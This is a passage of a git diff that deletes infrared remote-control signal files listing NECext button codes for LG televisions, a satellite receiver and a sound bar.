00 00 -command: 72 00 00 00 -# -name: PIP_CH+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 72 00 00 00 -# -name: 4:3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 76 00 00 00 -# -name: 16:9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 77 00 00 00 -# -name: RATIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 79 00 00 00 -# -name: ARC -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 79 00 00 00 -# -name: SPLIT_ZOOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7B 00 00 00 -# -name: SIMPLINK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7E 00 00 00 -# -name: MULTIMEDIA -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 98 00 00 00 -# -name: TV_GUIDE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: A9 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: AA 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: AB 00 00 00 -# -name: COMPONET -type: parsed -protocol: NECext -address: 04 00 00 00 -command: BF 00 00 00 -# -name: COMPONENT_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: BF 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C4 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C5 00 00 00 -# -name: DVI -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C6 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D0 00 00 00 -# -name: RGB -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D5 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D6 00 00 00 -# -name: BRIGHTNESS_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: E0 00 00 00 -# -name: BRIGHTNESS_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: E1 00 00 00 -# -name: TV/RADIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Satellite/247,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Satellite/247,-1.ir deleted file mode 100644 index ba477c925..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Satellite/247,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CHANNEL_/_PAGE_UP -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 00 00 00 00 -# -name: CHANNEL_/_PAGE_DOWN -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 01 00 00 00 -# -name: CUR_UP -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 04 00 00 00 -# -name: CUR_DOWN -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 05 00 00 00 -# -name: CUR_RIGHT -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 06 00 00 00 -# -name: CUR_LEFT -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 07 00 00 00 -# -name: POWER_(TOGGLE) -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 10 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 11 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 12 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 13 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 14 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 15 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 16 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 17 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 18 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 19 00 00 00 -# -name: PREV-CHAN -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 1A 00 00 00 -# -name: SURF -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 1E 00 00 00 -# -name: CC/DATE -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 39 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 43 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 44 00 00 00 -# -name: -_(DASH) -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 4C 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 5B 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 65 00 00 00 -# -name: RATIO -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 79 00 00 00 -# -name: HELP -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 81 00 00 00 -# -name: SIGNAL -type: parsed -protocol: NECext -address: F7 00 00 00 -command: 96 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: F7 00 00 00 -command: A9 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: F7 00 00 00 -command: AA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Sound Bar/44,44.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Sound Bar/44,44.ir deleted file mode 100644 index 7cbca0155..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Sound Bar/44,44.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CURSOR_ENTER/STOP -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 05 00 00 00 -# -name: CURSOR_LEFT/PREV -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 06 00 00 00 -# -name: CURSOR_RIGHT/NEXT -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 07 00 00 00 -# -name: FOLDER_+ -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 0C 00 00 00 -# -name: FOLDER_- -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 0D 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 16 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 17 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 1E 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 1F 00 00 00 -# -name: SOUND_EFFECT -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 2F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 49 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 4B 00 00 00 -# -name: CURSOR_UP/REPEAT -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 4E 00 00 00 -# -name: CURSOR_DOWN/PLAY -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 4F 00 00 00 -# -name: DOBLY_DRC -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 62 00 00 00 -# -name: WOOFER_LEVEL -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 66 00 00 00 -# -name: BLUETOOTH -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 84 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 8A 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: A3 00 00 00 -# -name: OPTICAL -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: B6 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: C2 00 00 00 -# -name: AV_SYNC -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: D9 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/TV/1,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/TV/1,1.ir deleted file mode 100644 index e7594fbb7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/TV/1,1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 01 00 00 -command: 0A 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 01 01 00 00 -command: 1C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/TV/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/TV/4,-1.ir deleted file mode 100644 index 2d60a3bb9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/TV/4,-1.ir +++ /dev/null @@ -1,1742 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: CURSOR_UP_/_PR_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: CH+_/_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: CURSOR_DOWN_/_PR_DN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: CH-_/_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: CURSOR_RIGHT_/_VOL+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: VOL+_/_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: CURSOR_LEFT_/_VOL- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: VOL-_/_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: C-RT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: ARROW_RT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: C-LF -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: ARROW_LT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: VOLUME_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: I/II -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 -# -name: SAP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 -# -name: MTS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 -# -name: TV/AV -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: TV/AV_INPUT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: INPUT_SOURCE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: TV/_VIDEO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: TV_/_VIDEO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: TV_INPUT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: INPUT_TV -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: FLASH_BACK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: Q.VIEW -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: FLASHBACK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: REVIEW -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: YELLOW_/_Q.WIEV -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1E 00 00 00 -# -name: FAVORITE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1E 00 00 00 -# -name: SURF -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1E 00 00 00 -# -name: FCR -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1E 00 00 00 -# -name: FRC -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1E 00 00 00 -# -name: TEXT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: TEXT_MODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 22 00 00 00 -# -name: TEXT_MIX -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 24 00 00 00 -# -name: MIX -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 24 00 00 00 -# -name: TEXT_TIME -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 26 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 26 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 27 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 28 00 00 00 -# -name: TEXT_REVEAL -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2A 00 00 00 -# -name: REVEAL -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2A 00 00 00 -# -name: AV_MODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: UPDATE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 33 00 00 00 -# -name: CLOSED_CAPTIONS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 39 00 00 00 -# -name: CC -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 39 00 00 00 -# -name: CAPTION -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 39 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 40 00 00 00 -# -name: ZOOM_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 40 00 00 00 -# -name: C-UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 40 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 40 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 40 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 41 00 00 00 -# -name: ZOOM_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 41 00 00 00 -# -name: C-DN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 41 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 41 00 00 00 -# -name: ARROW_DN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 41 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 41 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 43 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 44 00 00 00 -# -name: CURSOR_OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 44 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 44 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 44 00 00 00 -# -name: Q.MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 45 00 00 00 -# -name: DASP_(L30W36) -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 47 00 00 00 -# -name: DASH -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4C 00 00 00 -# -name: DASH_(-)_LIST -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4C 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4C 00 00 00 -# -name: -- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4C 00 00 00 -# -name: EZ_PICTURE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4D 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4D 00 00 00 -# -name: EZ_PIC -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4D 00 00 00 -# -name: APC -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4D 00 00 00 -# -name: GREEN_/_ACP/PCM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4D 00 00 00 -# -name: S-VIDEO_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 51 00 00 00 -# -name: S-VIDEO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 51 00 00 00 -# -name: DASP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 52 00 00 00 -# -name: SOUND -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 52 00 00 00 -# -name: EZ_SOUND -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 52 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 52 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 53 00 00 00 -# -name: BLUE_/_LIST -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 53 00 00 00 -# -name: A._PROGRAM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: MEMORY/ERASE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 55 00 00 00 -# -name: WIDGETS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: NETCAST -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: INPUT_-_VIDEO_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: INPUT:_VIDEO_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: EXIT/RETURN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 60 00 00 00 -# -name: PIP/_DW -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 60 00 00 00 -# -name: RED_/_PIP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 60 00 00 00 -# -name: COLOR_1_BLUE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 61 00 00 00 -# -name: PIP/SUB_INPUT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 61 00 00 00 -# -name: PIP_INPUT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 61 00 00 00 -# -name: POP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 61 00 00 00 -# -name: TEXT_UPDATE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 62 00 00 00 -# -name: POSITION -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 62 00 00 00 -# -name: WINDOW_POSITION -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 62 00 00 00 -# -name: COLOR_2_YELLOW -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 63 00 00 00 -# -name: SWAP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 63 00 00 00 -# -name: PIP_SWAP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 63 00 00 00 -# -name: TEXT_SIZE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 64 00 00 00 -# -name: PIP_ARC -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 64 00 00 00 -# -name: SIZE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 64 00 00 00 -# -name: WINDOW_SIZE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 64 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 65 00 00 00 -# -name: STILL -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 65 00 00 00 -# -name: HOLD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 65 00 00 00 -# -name: WINDOW_SIZE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 69 00 00 00 -# -name: WINDOW_POSITION -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 6A 00 00 00 -# -name: */SSM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 6E 00 00 00 -# -name: TEXT_INDEX -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 70 00 00 00 -# -name: POP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 70 00 00 00 -# -name: ASPECT_-_POP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 70 00 00 00 -# -name: POP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 70 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 70 00 00 00 -# -name: COLOR_3_GREEN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 71 00 00 00 -# -name: PIP_CHANNEL_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 71 00 00 00 -# -name: PIP_CH+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 71 00 00 00 -# -name: PIP_CHANNEL_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 71 00 00 00 -# -name: PIP_CH_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 71 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 71 00 00 00 -# -name: COLOR_4_RED -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 72 00 00 00 -# -name: PIP_CHANNEL_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 72 00 00 00 -# -name: PIP_CH- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 72 00 00 00 -# -name: PIP_CHANNEL_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 72 00 00 00 -# -name: PIP_CH_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 72 00 00 00 -# -name: PIP_CH_-- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 72 00 00 00 -# -name: PIP_CH+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 72 00 00 00 -# -name: 4:3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 76 00 00 00 -# -name: ASPECT_4:3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 76 00 00 00 -# -name: ASPECT_-_4:3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 76 00 00 00 -# -name: RATIO:_4:3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 76 00 00 00 -# -name: 16:9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 77 00 00 00 -# -name: ASPECT_16:9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 77 00 00 00 -# -name: ASPECT_-_16:9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 77 00 00 00 -# -name: RATIO:_16:9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 77 00 00 00 -# -name: ASPECT_RATIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 79 00 00 00 -# -name: RATIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 79 00 00 00 -# -name: ARC -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 79 00 00 00 -# -name: ZOOM_SPLIT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7B 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7B 00 00 00 -# -name: SPLIT_ZOOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7B 00 00 00 -# -name: X_STUDIO_PRO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7C 00 00 00 -# -name: MARK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7D 00 00 00 -# -name: SIMPLINK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7E 00 00 00 -# -name: AUTO_DEMO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 80 00 00 00 -# -name: AUDIO_DEMO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 80 00 00 00 -# -name: 1394 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 87 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 8E 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 8E 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 8E 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 8F 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 8F 00 00 00 